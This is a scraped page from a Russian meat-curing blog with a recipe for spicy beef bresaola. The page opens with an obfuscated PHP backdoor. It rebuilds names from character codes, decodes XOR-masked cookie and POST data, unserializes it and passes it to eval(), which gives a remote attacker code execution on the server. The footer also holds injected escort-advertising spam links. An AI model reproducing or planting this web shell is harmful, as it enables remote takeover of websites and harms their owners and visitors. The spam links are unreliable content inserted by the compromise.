$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Острая Брезаола • Meat Review

Острая Брезаола

Перейти в режим чтения
Распечатать
0 0
Острая Брезаола

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

Supposedly, beef bresaola valued for its ruby colors and deep, earthy smell that for me is associated with the cellars of my childhood. Yet, it could be…quite boring and mundane in its evenness. Hence, I’ve tried to “spice up” bresaola this time, using what I had at my disposal at the time.

    Инструкция

    Поделиться

    Брезаола – часто скучная вещь. Рубиновый цвет, глубина вкуса  и мягкость текстуры великолепны, но вяленая говядина уступает универсальной свинине. С этой я поиграл с ингредиентами и получил превосходный результат. Есть и глубина, и острота.
    Рецепт:
    Два говяжьих round tip roasts (не ведаю эквивалента на русском), общим весом 2521гр. Морская соль – 2.75%, кюр№2 – 0.25%; %; коричневый сахар –0.2%; allspice: 0.05%. Добавил пучок орегано и острых халопиньо перцев (кажись, два) с огорода и залил полстакана самбуки. Затем – как обычно: вакуум, холодильник на три недели. Необходимости столько держать нет, но нет и вреда. Затем промыл, просушил, продержал ночь в холодильнике, притрусил смесью сичуанского, аллепского с черным перцем и сладкой венгерской паприкой. Брезаолу не отправлял в оболочку, а вялил как есть. Правда, когда на ней наросло слишком много молда, соскрёб немного . Финал – потеря 42% веса. Брезаола вышла хорошая. Точно такую никогда не повторю, но буду сочетать коричневый сахар с какой-то «остротой» — хорошо выходит.

    (Visited 2 290 times, 1 visits today)

    Sergey Dezhnyuk

    обратно
    Ветчина Оленья: Четыре Варианта.
    далее
    Сыровяленая Шея «Торжество Хряка»
    обратно
    Ветчина Оленья: Четыре Варианта.
    далее
    Сыровяленая Шея «Торжество Хряка»

    Похожие рецепты

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close